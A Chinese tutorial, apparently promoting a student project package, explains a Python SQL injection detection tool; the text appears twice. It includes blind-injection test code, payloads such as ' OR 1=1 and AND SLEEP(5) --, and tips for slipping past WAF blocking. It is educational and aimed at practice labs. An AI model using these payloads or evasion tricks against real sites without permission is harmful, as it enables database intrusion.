简介这是一套基于Python实现的自动化SQL注入检测工具完整源码面向计算机、网络安全及通信相关专业的学生与从业者可用于毕业设计、课程大作业或安全入门进阶学习。项目围绕布尔盲注、时间盲注等常见注入类型展开配套查询参数提取、规则配置、结果展示与邮件通知等模块帮助读者理解自动化漏洞检测的基本流程与实现思路。资源包共12个文件以7个py源码文件为核心另含txt站点列表、sh脚本、md说明文档、rules规则文件及pyc编译文件压缩包约35KB结构紧凑便于阅读与二次开发。目前已有68人学习下载。代码经过调试测试可直接运行文档说明清晰适合在此基础上修改调整实现自定义检测逻辑或扩展功能具备较高的学习借鉴价值。1. 拿到一份 Python 自动化 SQL 注入检测工具源码先别急着跑很多人下载到「基于 Python 的自动化 SQL 注入检测工具」这类毕设源码第一反应是双击主文件看能不能出结果结果往往是一堆报错或者干脆没反应。这份资源的核心价值不在于它有多强的实战攻击能力而在于它把 SQL 注入检测里最典型的几类逻辑——布尔盲注、时间盲注、参数提取、结果回显、邮件通知——用一套能跑通的 Python 代码串了起来。它适合谁计算机相关专业做课程设计或毕设的学生想理解自动化注入检测流程的入门者以及需要一份可调试、可修改的检测框架做二次开发的人。整个包里有AutoSQLInjecter.py、boolInject.py、timeInject.py、sqlhacker.py等多个入口配合getQueryParameters.py做参数抓取rules目录放规则websites.txt存目标列表sendMail.py负责结果推送。你拿到手的第一件事不是运行而是把目录结构和文件职责理清楚否则后面调参和排错会非常被动。2. 拆解源码结构从入口文件到注入逻辑的分层设计2.1 主控入口与模块职责划分这份源码的架构不算复杂但分层是清晰的。AutoSQLInjecter.py是主控入口负责读取websites.txt里的目标列表然后调度具体的注入检测模块。sqlhacker.py更像一个总调度器把参数获取、注入检测、结果输出串起来。boolInject.py和timeInject.py分别对应布尔盲注和时间盲注两种检测方式这是自动化 SQL 注入检测里最常用的两条路径。getQueryParameters.py负责从 URL 中提取可注入的参数showResult.sh是一个 shell 脚本用来展示检测结果sendMail.py则是在检测完成后把结果发到指定邮箱。rules目录下通常放的是 payload 规则或者匹配规则README.md是文档说明。理解这个分层之后你就能明白为什么不能直接跑主文件主文件依赖websites.txt里有合法目标依赖getQueryParameters.py能正确解析 URL依赖rules目录存在且格式正确。任何一个环节缺失都会导致运行失败。常见做法是先把每个模块单独跑一遍确认输入输出符合预期再串起来。2.2 布尔盲注与时间盲注的实现差异布尔盲注的核心逻辑是构造一个条件判断的 payload观察页面返回内容是否发生变化以此推断数据库信息。boolInject.py里通常会有一个函数接收 URL 和参数然后循环发送请求对比响应长度或特定关键字。时间盲注则不同它不依赖页面内容变化而是通过SLEEP()或类似函数让数据库延迟响应根据响应时间判断条件真假。timeInject.py里会设置一个时间阈值比如响应超过 5 秒就认为条件成立。这两种方式各有适用场景。布尔盲注速度快但对页面内容差异的识别要求高如果页面本身有动态内容误报率会上升。时间盲注速度慢但稳定性好适合页面没有明显回显的情况。源码里把两者分开实现说明作者考虑到了不同目标环境的差异。你在调试时可以先用手工构造的 payload 验证目标是否存在注入点再决定用哪个模块。2.3 参数提取与目标列表的联动机制getQueryParameters.py的作用是从 URL 中提取查询参数。比如目标 URL 是http://example.com/page.php?id1nametest这个模块会解析出id和name两个参数然后分别对它们进行注入测试。websites.txt则是目标列表每行一个 URL。主控程序会逐行读取然后调用参数提取模块。这里有一个容易被忽略的细节getQueryParameters.py和getQueryParameters.pyc同时存在。.pyc是编译后的字节码文件说明作者可能在某些环境下直接运行了编译版本。你修改.py文件后如果程序仍然加载旧的.pyc就会出现「改了代码没生效」的玄学问题。解决办法是删除.pyc文件或者用python -B参数禁止生成字节码。# getQueryParameters.py 的典型实现逻辑 from urllib.parse import urlparse, parse_qs def extract_params(url): 从 URL 中提取查询参数 :param url: 完整 URL 字符串 :return: 参数字典 {参数名: 参数值} parsed urlparse(url) # parse_qs 返回的是 {key: [value]} 格式这里取第一个值 params parse_qs(parsed.query) return {k: v[0] for k, v in params.items()} # 调用示例 if __name__ __main__: test_url http://testphp.vulnweb.com/artists.php?artist1 print(extract_params(test_url)) # 输出: {artist: 1}这段代码的逻辑很直接用urlparse拆解 URL用parse_qs解析查询字符串。参数说明上parse_qs默认会把值包装成列表所以需要取v[0]。如果你拿到的 URL 里参数值本身包含特殊字符可能需要在解析前做 URL 解码。常见做法是在extract_params里加一层unquote但这份源码里没有做遇到编码过的参数时可能会漏测。3. 环境配置与依赖安装把工具跑起来的前置条件3.1 Python 版本选择与虚拟环境搭建这份源码是基于 Python 3 写的但具体是小版本 3.6 还是 3.8README 里如果没有写就需要你自己判断。看代码里有没有用到 f-string、asyncio、类型注解这些特性。如果用了 f-string至少是 3.6如果用了asyncio.run()至少是 3.7。我一般会先用 Python 3.8 试因为这个版本兼容性最好第三方库支持也全。虚拟环境是必须的。不要直接在系统 Python 里装依赖否则版本冲突会让你后悔。用venv或者conda都行命令如下# 创建虚拟环境 python3 -m venv venv # 激活虚拟环境Linux/Mac source venv/bin/activate # 激活虚拟环境Windows venv\Scripts\activate # 确认 Python 版本 python --version激活后命令行前面会出现(venv)标识。后续所有pip install都在这个环境里执行不会污染系统环境。3.2 依赖库识别与安装源码里没有requirements.txt这是比较麻烦的地方。你需要手动识别导入了哪些第三方库。常见的有requests发 HTTP 请求、beautifulsoup4解析 HTML、lxmlXML/HTML 解析、smtplib发邮件标准库。用grep快速扫一遍# 查找所有 import 语句 grep -rh ^import\|^from *.py | sort -u根据输出结果把非标准库的包挑出来安装。比如pip install requests beautifulsoup4 lxml如果你不确定某个包是不是标准库可以查 Python 官方文档的模块索引。标准库不需要安装第三方库才需要。安装完成后用pip freeze requirements.txt生成依赖清单方便以后重建环境。3.3 目标列表与规则文件的准备websites.txt里默认可能有一些示例 URL但那些地址大概率已经失效。你需要自己准备合法的测试目标。如果是学习用途可以在本地搭建 DVWA 或者 SQLi Labs 这类靶场环境把本地地址填进去。rules目录下的规则文件需要确认格式通常是每行一个 payload 或者一个匹配模式。如果规则文件为空或者格式不对注入检测会直接跳过。# 查看 websites.txt 内容 cat websites.txt # 查看 rules 目录结构 ls -la rules/ # 如果 rules 目录为空需要手动添加规则文件 # 规则文件示例payloads.txt # OR 11 # OR 11 -- # UNION SELECT NULL --提示不要用这份工具去扫描任何未授权的目标。本地靶场是最安全的选择既能验证功能又不会惹麻烦。4. 核心检测流程调试布尔盲注与时间盲注的实操参数4.1 布尔盲注的请求构造与响应比对布尔盲注的关键在于构造一个能让数据库返回真或假的 payload然后观察页面响应差异。boolInject.py里通常会有一个check_injection函数接收 URL、参数名、payload然后发送请求比对响应内容。比对方式可能是比较响应长度、比较特定字符串是否存在、或者比较 HTTP 状态码。import requests def bool_inject_test(url, param, payload): 布尔盲注检测 :param url: 目标 URL :param param: 注入参数名 :param payload: 注入 payload :return: True/False 表示是否存在注入 # 构造注入后的 URL injected_url f{url}?{param}{payload} try: # 发送请求设置超时避免卡死 resp requests.get(injected_url, timeout10) # 比对响应长度这里用简单阈值判断 # 实际项目中应该先获取正常响应的基线长度 if len(resp.text) 1000: return True return False except requests.exceptions.RequestException as e: print(f请求失败: {e}) return False # 测试示例 test_url http://localhost/dvwa/vulnerabilities/sqli/ payload OR 11 result bool_inject_test(test_url, id, payload) print(f注入检测结果: {result})这段代码的逻辑是拼接 payload 到 URL发送 GET 请求根据响应长度判断。参数说明上timeout10是必须的否则遇到无响应目标会一直卡住。len(resp.text) 1000这个阈值是硬编码的实际使用时应该先请求一次正常页面记录基线长度再用基线长度做对比。常见做法是计算响应长度的差值如果差值超过某个百分比就认为条件成立。4.2 时间盲注的延迟阈值设定时间盲注不依赖页面内容而是依赖数据库的SLEEP()函数。timeInject.py里会构造类似 AND SLEEP(5) --的 payload然后测量请求耗时。如果耗时超过 5 秒说明条件成立。import time import requests def time_inject_test(url, param, payload, delay5): 时间盲注检测 :param url: 目标 URL :param param: 注入参数名 :param payload: 注入 payload应包含 SLEEP 函数 :param delay: 预期延迟秒数 :return: True/False 表示是否存在注入 injected_url f{url}?{param}{payload} try: start time.time() resp requests.get(injected_url, timeoutdelay 10) elapsed time.time() - start # 如果实际耗时超过预期延迟的 80%认为注入成功 if elapsed delay * 0.8: return True return False except requests.exceptions.Timeout: # 超时也说明可能存在延迟注入 return True except requests.exceptions.RequestException as e: print(f请求异常: {e}) return False # 测试示例 test_url http://localhost/dvwa/vulnerabilities/sqli/ payload AND SLEEP(5) -- result time_inject_test(test_url, id, payload, delay5) print(f时间盲注检测结果: {result})参数说明上delay是预期延迟秒数timeout设置为delay 10是为了给网络波动留余量。elapsed delay * 0.8这个判断条件是为了容忍一定的误差因为网络传输本身也有耗时。如果目标服务器响应本来就慢这个阈值需要调高否则误报率会很高。4.3 结果输出与邮件通知的配置showResult.sh和sendMail.py负责结果展示和通知。showResult.sh可能只是简单地cat一个结果文件或者调用 Python 脚本打印结果。sendMail.py则需要配置 SMTP 服务器、发件人邮箱、授权码、收件人邮箱。import smtplib from email.mime.text import MIMEText def send_result_mail(smtp_server, smtp_port, sender, password, receiver, subject, content): 发送检测结果邮件 :param smtp_server: SMTP 服务器地址 :param smtp_port: SMTP 端口 :param sender: 发件人邮箱 :param password: 邮箱授权码 :param receiver: 收件人邮箱 :param subject: 邮件主题 :param content: 邮件正文 msg MIMEText(content, plain, utf-8) msg[Subject] subject msg[From] sender msg[To] receiver try: # 使用 SSL 连接端口通常是 465 server smtplib.SMTP_SSL(smtp_server, smtp_port) server.login(sender, password) server.sendmail(sender, [receiver], msg.as_string()) server.quit() print(邮件发送成功) except Exception as e: print(f邮件发送失败: {e}) # 调用示例请替换为真实配置 # send_result_mail(smtp.example.com, 465, senderexample.com, 授权码, receiverexample.com, SQL注入检测结果, 检测到注入点...)参数说明上password不是邮箱登录密码而是 SMTP 授权码需要在邮箱设置里单独开启。smtp_port用 465 是 SSL 加密端口如果用 587 则需要starttls()。这段代码里没有做异常重试如果网络不稳定邮件可能发送失败。常见做法是加一个重试循环或者把结果先写入本地文件再异步发送。5. 避坑与常见问题排查那些让你白跑一整天的细节5.1 请求被拦截或返回 403现象程序运行后所有请求都返回 403 Forbidden或者直接连接被重置。原因目标服务器有 WAF 或者反爬机制识别到了自动化请求。解决在requests.get()里加上headers参数模拟浏览器请求。常见的 header 包括User-Agent、Accept、Accept-Language。如果还是被拦截可以尝试降低请求频率加time.sleep(1)在每次请求之间。5.2 时间盲注误报严重现象明明没有注入漏洞的页面时间盲注模块也报告存在注入。原因网络延迟波动大或者目标服务器本身响应就慢导致elapsed超过了阈值。解决先测量正常请求的基线耗时把阈值设置为基线耗时的 2 到 3 倍。另外可以多次请求取平均值减少单次波动的影响。5.3 参数提取遗漏 POST 请求现象目标 URL 的注入点不在查询字符串里而是在 POST 表单里但getQueryParameters.py只解析了 URL 查询参数导致漏测。原因源码只实现了 GET 参数提取没有处理 POST 请求。解决需要手动扩展getQueryParameters.py增加对 POST 表单的解析。可以用requests.post()发送请求然后用BeautifulSoup解析表单字段。5.4 规则文件格式错误导致检测跳过现象程序运行后没有任何输出或者直接退出没有任何报错。原因rules目录下的规则文件格式不对程序读取时解析失败但异常被捕获后没有打印。解决检查规则文件的编码和换行符确保每行一个 payload没有空行和注释符号。可以在读取规则的代码里加print调试确认读到了多少条规则。5.5 邮件发送失败但无提示现象检测完成后sendMail.py没有报错但收件箱里没有邮件。原因SMTP 授权码错误或者邮件被收件方服务器拦截进了垃圾箱。解决先用telnet smtp.example.com 465测试 SMTP 服务器连通性再检查授权码是否过期。另外把发件人邮箱加入收件人白名单避免被当成垃圾邮件。6. 进阶改造把检测结果落成结构化报告并做二次验证这份源码默认的输出方式比较粗糙showResult.sh可能只是打印几行文本。如果你要拿它做毕设答辩或者课程设计最好把结果整理成结构化格式比如 JSON 或者 CSV。我一般会在sqlhacker.py的结果输出部分加一个函数把检测到的注入点、参数名、payload、响应特征写进字典然后json.dump()到文件。import json from datetime import datetime def save_structured_result(results, output_filescan_report.json): 将检测结果保存为结构化 JSON 报告 :param results: 检测结果列表每个元素是字典 :param output_file: 输出文件名 report { scan_time: datetime.now().strftime(%Y-%m-%d %H:%M:%S), total_targets: len(results), vulnerable_count: sum(1 for r in results if r.get(vulnerable)), details: results } with open(output_file, w, encodingutf-8) as f: json.dump(report, f, ensure_asciiFalse, indent2) print(f报告已保存至 {output_file}) # 假设 results 是检测过程中收集的列表 # results [ # {url: http://localhost/dvwa/..., param: id, payload: OR 11, vulnerable: True, type: boolean}, # {url: http://localhost/dvwa/..., param: id, payload: AND SLEEP(5) --, vulnerable: True, type: time} # ] # save_structured_result(results)这段代码的逻辑是把检测结果包装成一个包含扫描时间、目标总数、漏洞数量、详细列表的字典然后序列化为 JSON。参数说明上ensure_asciiFalse保证中文正常显示indent2让输出可读。有了这份 JSON 报告你可以在答辩时直接展示也可以写一个简单的 HTML 页面做可视化。另一个值得做的改造是二次验证。自动化检测难免有误报我习惯在报告生成后对每个标记为「存在注入」的目标再手工验证一次。具体做法是用curl或者浏览器直接访问构造好的 payload URL观察页面变化。如果手工验证不通过就把该条记录标记为「疑似误报」在报告里单独列出。这样既保留了自动化检测的效率又提高了结果的可靠性。从那以后我每次拿到这类检测工具都会先跑一遍本地靶场确认基线行为再上真实目标。而且不管多忙都会强制走一遍「结构化输出 手工二次验证」的流程因为血泪经验告诉我自动化报告里的每一条「确认漏洞」都可能让你在答辩现场被问得下不来台。希望帮到你。本文还有配套的精品资源点击获取
Python自动化SQL注入检测工具源码解析与调试实战
简介这是一套基于Python实现的自动化SQL注入检测工具完整源码面向计算机、网络安全及通信相关专业的学生与从业者可用于毕业设计、课程大作业或安全入门进阶学习。项目围绕布尔盲注、时间盲注等常见注入类型展开配套查询参数提取、规则配置、结果展示与邮件通知等模块帮助读者理解自动化漏洞检测的基本流程与实现思路。资源包共12个文件以7个py源码文件为核心另含txt站点列表、sh脚本、md说明文档、rules规则文件及pyc编译文件压缩包约35KB结构紧凑便于阅读与二次开发。目前已有68人学习下载。代码经过调试测试可直接运行文档说明清晰适合在此基础上修改调整实现自定义检测逻辑或扩展功能具备较高的学习借鉴价值。1. 拿到一份 Python 自动化 SQL 注入检测工具源码先别急着跑很多人下载到「基于 Python 的自动化 SQL 注入检测工具」这类毕设源码第一反应是双击主文件看能不能出结果结果往往是一堆报错或者干脆没反应。这份资源的核心价值不在于它有多强的实战攻击能力而在于它把 SQL 注入检测里最典型的几类逻辑——布尔盲注、时间盲注、参数提取、结果回显、邮件通知——用一套能跑通的 Python 代码串了起来。它适合谁计算机相关专业做课程设计或毕设的学生想理解自动化注入检测流程的入门者以及需要一份可调试、可修改的检测框架做二次开发的人。整个包里有AutoSQLInjecter.py、boolInject.py、timeInject.py、sqlhacker.py等多个入口配合getQueryParameters.py做参数抓取rules目录放规则websites.txt存目标列表sendMail.py负责结果推送。你拿到手的第一件事不是运行而是把目录结构和文件职责理清楚否则后面调参和排错会非常被动。2. 拆解源码结构从入口文件到注入逻辑的分层设计2.1 主控入口与模块职责划分这份源码的架构不算复杂但分层是清晰的。AutoSQLInjecter.py是主控入口负责读取websites.txt里的目标列表然后调度具体的注入检测模块。sqlhacker.py更像一个总调度器把参数获取、注入检测、结果输出串起来。boolInject.py和timeInject.py分别对应布尔盲注和时间盲注两种检测方式这是自动化 SQL 注入检测里最常用的两条路径。getQueryParameters.py负责从 URL 中提取可注入的参数showResult.sh是一个 shell 脚本用来展示检测结果sendMail.py则是在检测完成后把结果发到指定邮箱。rules目录下通常放的是 payload 规则或者匹配规则README.md是文档说明。理解这个分层之后你就能明白为什么不能直接跑主文件主文件依赖websites.txt里有合法目标依赖getQueryParameters.py能正确解析 URL依赖rules目录存在且格式正确。任何一个环节缺失都会导致运行失败。常见做法是先把每个模块单独跑一遍确认输入输出符合预期再串起来。2.2 布尔盲注与时间盲注的实现差异布尔盲注的核心逻辑是构造一个条件判断的 payload观察页面返回内容是否发生变化以此推断数据库信息。boolInject.py里通常会有一个函数接收 URL 和参数然后循环发送请求对比响应长度或特定关键字。时间盲注则不同它不依赖页面内容变化而是通过SLEEP()或类似函数让数据库延迟响应根据响应时间判断条件真假。timeInject.py里会设置一个时间阈值比如响应超过 5 秒就认为条件成立。这两种方式各有适用场景。布尔盲注速度快但对页面内容差异的识别要求高如果页面本身有动态内容误报率会上升。时间盲注速度慢但稳定性好适合页面没有明显回显的情况。源码里把两者分开实现说明作者考虑到了不同目标环境的差异。你在调试时可以先用手工构造的 payload 验证目标是否存在注入点再决定用哪个模块。2.3 参数提取与目标列表的联动机制getQueryParameters.py的作用是从 URL 中提取查询参数。比如目标 URL 是http://example.com/page.php?id1nametest这个模块会解析出id和name两个参数然后分别对它们进行注入测试。websites.txt则是目标列表每行一个 URL。主控程序会逐行读取然后调用参数提取模块。这里有一个容易被忽略的细节getQueryParameters.py和getQueryParameters.pyc同时存在。.pyc是编译后的字节码文件说明作者可能在某些环境下直接运行了编译版本。你修改.py文件后如果程序仍然加载旧的.pyc就会出现「改了代码没生效」的玄学问题。解决办法是删除.pyc文件或者用python -B参数禁止生成字节码。# getQueryParameters.py 的典型实现逻辑 from urllib.parse import urlparse, parse_qs def extract_params(url): 从 URL 中提取查询参数 :param url: 完整 URL 字符串 :return: 参数字典 {参数名: 参数值} parsed urlparse(url) # parse_qs 返回的是 {key: [value]} 格式这里取第一个值 params parse_qs(parsed.query) return {k: v[0] for k, v in params.items()} # 调用示例 if __name__ __main__: test_url http://testphp.vulnweb.com/artists.php?artist1 print(extract_params(test_url)) # 输出: {artist: 1}这段代码的逻辑很直接用urlparse拆解 URL用parse_qs解析查询字符串。参数说明上parse_qs默认会把值包装成列表所以需要取v[0]。如果你拿到的 URL 里参数值本身包含特殊字符可能需要在解析前做 URL 解码。常见做法是在extract_params里加一层unquote但这份源码里没有做遇到编码过的参数时可能会漏测。3. 环境配置与依赖安装把工具跑起来的前置条件3.1 Python 版本选择与虚拟环境搭建这份源码是基于 Python 3 写的但具体是小版本 3.6 还是 3.8README 里如果没有写就需要你自己判断。看代码里有没有用到 f-string、asyncio、类型注解这些特性。如果用了 f-string至少是 3.6如果用了asyncio.run()至少是 3.7。我一般会先用 Python 3.8 试因为这个版本兼容性最好第三方库支持也全。虚拟环境是必须的。不要直接在系统 Python 里装依赖否则版本冲突会让你后悔。用venv或者conda都行命令如下# 创建虚拟环境 python3 -m venv venv # 激活虚拟环境Linux/Mac source venv/bin/activate # 激活虚拟环境Windows venv\Scripts\activate # 确认 Python 版本 python --version激活后命令行前面会出现(venv)标识。后续所有pip install都在这个环境里执行不会污染系统环境。3.2 依赖库识别与安装源码里没有requirements.txt这是比较麻烦的地方。你需要手动识别导入了哪些第三方库。常见的有requests发 HTTP 请求、beautifulsoup4解析 HTML、lxmlXML/HTML 解析、smtplib发邮件标准库。用grep快速扫一遍# 查找所有 import 语句 grep -rh ^import\|^from *.py | sort -u根据输出结果把非标准库的包挑出来安装。比如pip install requests beautifulsoup4 lxml如果你不确定某个包是不是标准库可以查 Python 官方文档的模块索引。标准库不需要安装第三方库才需要。安装完成后用pip freeze requirements.txt生成依赖清单方便以后重建环境。3.3 目标列表与规则文件的准备websites.txt里默认可能有一些示例 URL但那些地址大概率已经失效。你需要自己准备合法的测试目标。如果是学习用途可以在本地搭建 DVWA 或者 SQLi Labs 这类靶场环境把本地地址填进去。rules目录下的规则文件需要确认格式通常是每行一个 payload 或者一个匹配模式。如果规则文件为空或者格式不对注入检测会直接跳过。# 查看 websites.txt 内容 cat websites.txt # 查看 rules 目录结构 ls -la rules/ # 如果 rules 目录为空需要手动添加规则文件 # 规则文件示例payloads.txt # OR 11 # OR 11 -- # UNION SELECT NULL --提示不要用这份工具去扫描任何未授权的目标。本地靶场是最安全的选择既能验证功能又不会惹麻烦。4. 核心检测流程调试布尔盲注与时间盲注的实操参数4.1 布尔盲注的请求构造与响应比对布尔盲注的关键在于构造一个能让数据库返回真或假的 payload然后观察页面响应差异。boolInject.py里通常会有一个check_injection函数接收 URL、参数名、payload然后发送请求比对响应内容。比对方式可能是比较响应长度、比较特定字符串是否存在、或者比较 HTTP 状态码。import requests def bool_inject_test(url, param, payload): 布尔盲注检测 :param url: 目标 URL :param param: 注入参数名 :param payload: 注入 payload :return: True/False 表示是否存在注入 # 构造注入后的 URL injected_url f{url}?{param}{payload} try: # 发送请求设置超时避免卡死 resp requests.get(injected_url, timeout10) # 比对响应长度这里用简单阈值判断 # 实际项目中应该先获取正常响应的基线长度 if len(resp.text) 1000: return True return False except requests.exceptions.RequestException as e: print(f请求失败: {e}) return False # 测试示例 test_url http://localhost/dvwa/vulnerabilities/sqli/ payload OR 11 result bool_inject_test(test_url, id, payload) print(f注入检测结果: {result})这段代码的逻辑是拼接 payload 到 URL发送 GET 请求根据响应长度判断。参数说明上timeout10是必须的否则遇到无响应目标会一直卡住。len(resp.text) 1000这个阈值是硬编码的实际使用时应该先请求一次正常页面记录基线长度再用基线长度做对比。常见做法是计算响应长度的差值如果差值超过某个百分比就认为条件成立。4.2 时间盲注的延迟阈值设定时间盲注不依赖页面内容而是依赖数据库的SLEEP()函数。timeInject.py里会构造类似 AND SLEEP(5) --的 payload然后测量请求耗时。如果耗时超过 5 秒说明条件成立。import time import requests def time_inject_test(url, param, payload, delay5): 时间盲注检测 :param url: 目标 URL :param param: 注入参数名 :param payload: 注入 payload应包含 SLEEP 函数 :param delay: 预期延迟秒数 :return: True/False 表示是否存在注入 injected_url f{url}?{param}{payload} try: start time.time() resp requests.get(injected_url, timeoutdelay 10) elapsed time.time() - start # 如果实际耗时超过预期延迟的 80%认为注入成功 if elapsed delay * 0.8: return True return False except requests.exceptions.Timeout: # 超时也说明可能存在延迟注入 return True except requests.exceptions.RequestException as e: print(f请求异常: {e}) return False # 测试示例 test_url http://localhost/dvwa/vulnerabilities/sqli/ payload AND SLEEP(5) -- result time_inject_test(test_url, id, payload, delay5) print(f时间盲注检测结果: {result})参数说明上delay是预期延迟秒数timeout设置为delay 10是为了给网络波动留余量。elapsed delay * 0.8这个判断条件是为了容忍一定的误差因为网络传输本身也有耗时。如果目标服务器响应本来就慢这个阈值需要调高否则误报率会很高。4.3 结果输出与邮件通知的配置showResult.sh和sendMail.py负责结果展示和通知。showResult.sh可能只是简单地cat一个结果文件或者调用 Python 脚本打印结果。sendMail.py则需要配置 SMTP 服务器、发件人邮箱、授权码、收件人邮箱。import smtplib from email.mime.text import MIMEText def send_result_mail(smtp_server, smtp_port, sender, password, receiver, subject, content): 发送检测结果邮件 :param smtp_server: SMTP 服务器地址 :param smtp_port: SMTP 端口 :param sender: 发件人邮箱 :param password: 邮箱授权码 :param receiver: 收件人邮箱 :param subject: 邮件主题 :param content: 邮件正文 msg MIMEText(content, plain, utf-8) msg[Subject] subject msg[From] sender msg[To] receiver try: # 使用 SSL 连接端口通常是 465 server smtplib.SMTP_SSL(smtp_server, smtp_port) server.login(sender, password) server.sendmail(sender, [receiver], msg.as_string()) server.quit() print(邮件发送成功) except Exception as e: print(f邮件发送失败: {e}) # 调用示例请替换为真实配置 # send_result_mail(smtp.example.com, 465, senderexample.com, 授权码, receiverexample.com, SQL注入检测结果, 检测到注入点...)参数说明上password不是邮箱登录密码而是 SMTP 授权码需要在邮箱设置里单独开启。smtp_port用 465 是 SSL 加密端口如果用 587 则需要starttls()。这段代码里没有做异常重试如果网络不稳定邮件可能发送失败。常见做法是加一个重试循环或者把结果先写入本地文件再异步发送。5. 避坑与常见问题排查那些让你白跑一整天的细节5.1 请求被拦截或返回 403现象程序运行后所有请求都返回 403 Forbidden或者直接连接被重置。原因目标服务器有 WAF 或者反爬机制识别到了自动化请求。解决在requests.get()里加上headers参数模拟浏览器请求。常见的 header 包括User-Agent、Accept、Accept-Language。如果还是被拦截可以尝试降低请求频率加time.sleep(1)在每次请求之间。5.2 时间盲注误报严重现象明明没有注入漏洞的页面时间盲注模块也报告存在注入。原因网络延迟波动大或者目标服务器本身响应就慢导致elapsed超过了阈值。解决先测量正常请求的基线耗时把阈值设置为基线耗时的 2 到 3 倍。另外可以多次请求取平均值减少单次波动的影响。5.3 参数提取遗漏 POST 请求现象目标 URL 的注入点不在查询字符串里而是在 POST 表单里但getQueryParameters.py只解析了 URL 查询参数导致漏测。原因源码只实现了 GET 参数提取没有处理 POST 请求。解决需要手动扩展getQueryParameters.py增加对 POST 表单的解析。可以用requests.post()发送请求然后用BeautifulSoup解析表单字段。5.4 规则文件格式错误导致检测跳过现象程序运行后没有任何输出或者直接退出没有任何报错。原因rules目录下的规则文件格式不对程序读取时解析失败但异常被捕获后没有打印。解决检查规则文件的编码和换行符确保每行一个 payload没有空行和注释符号。可以在读取规则的代码里加print调试确认读到了多少条规则。5.5 邮件发送失败但无提示现象检测完成后sendMail.py没有报错但收件箱里没有邮件。原因SMTP 授权码错误或者邮件被收件方服务器拦截进了垃圾箱。解决先用telnet smtp.example.com 465测试 SMTP 服务器连通性再检查授权码是否过期。另外把发件人邮箱加入收件人白名单避免被当成垃圾邮件。6. 进阶改造把检测结果落成结构化报告并做二次验证这份源码默认的输出方式比较粗糙showResult.sh可能只是打印几行文本。如果你要拿它做毕设答辩或者课程设计最好把结果整理成结构化格式比如 JSON 或者 CSV。我一般会在sqlhacker.py的结果输出部分加一个函数把检测到的注入点、参数名、payload、响应特征写进字典然后json.dump()到文件。import json from datetime import datetime def save_structured_result(results, output_filescan_report.json): 将检测结果保存为结构化 JSON 报告 :param results: 检测结果列表每个元素是字典 :param output_file: 输出文件名 report { scan_time: datetime.now().strftime(%Y-%m-%d %H:%M:%S), total_targets: len(results), vulnerable_count: sum(1 for r in results if r.get(vulnerable)), details: results } with open(output_file, w, encodingutf-8) as f: json.dump(report, f, ensure_asciiFalse, indent2) print(f报告已保存至 {output_file}) # 假设 results 是检测过程中收集的列表 # results [ # {url: http://localhost/dvwa/..., param: id, payload: OR 11, vulnerable: True, type: boolean}, # {url: http://localhost/dvwa/..., param: id, payload: AND SLEEP(5) --, vulnerable: True, type: time} # ] # save_structured_result(results)这段代码的逻辑是把检测结果包装成一个包含扫描时间、目标总数、漏洞数量、详细列表的字典然后序列化为 JSON。参数说明上ensure_asciiFalse保证中文正常显示indent2让输出可读。有了这份 JSON 报告你可以在答辩时直接展示也可以写一个简单的 HTML 页面做可视化。另一个值得做的改造是二次验证。自动化检测难免有误报我习惯在报告生成后对每个标记为「存在注入」的目标再手工验证一次。具体做法是用curl或者浏览器直接访问构造好的 payload URL观察页面变化。如果手工验证不通过就把该条记录标记为「疑似误报」在报告里单独列出。这样既保留了自动化检测的效率又提高了结果的可靠性。从那以后我每次拿到这类检测工具都会先跑一遍本地靶场确认基线行为再上真实目标。而且不管多忙都会强制走一遍「结构化输出 手工二次验证」的流程因为血泪经验告诉我自动化报告里的每一条「确认漏洞」都可能让你在答辩现场被问得下不来台。希望帮到你。本文还有配套的精品资源点击获取
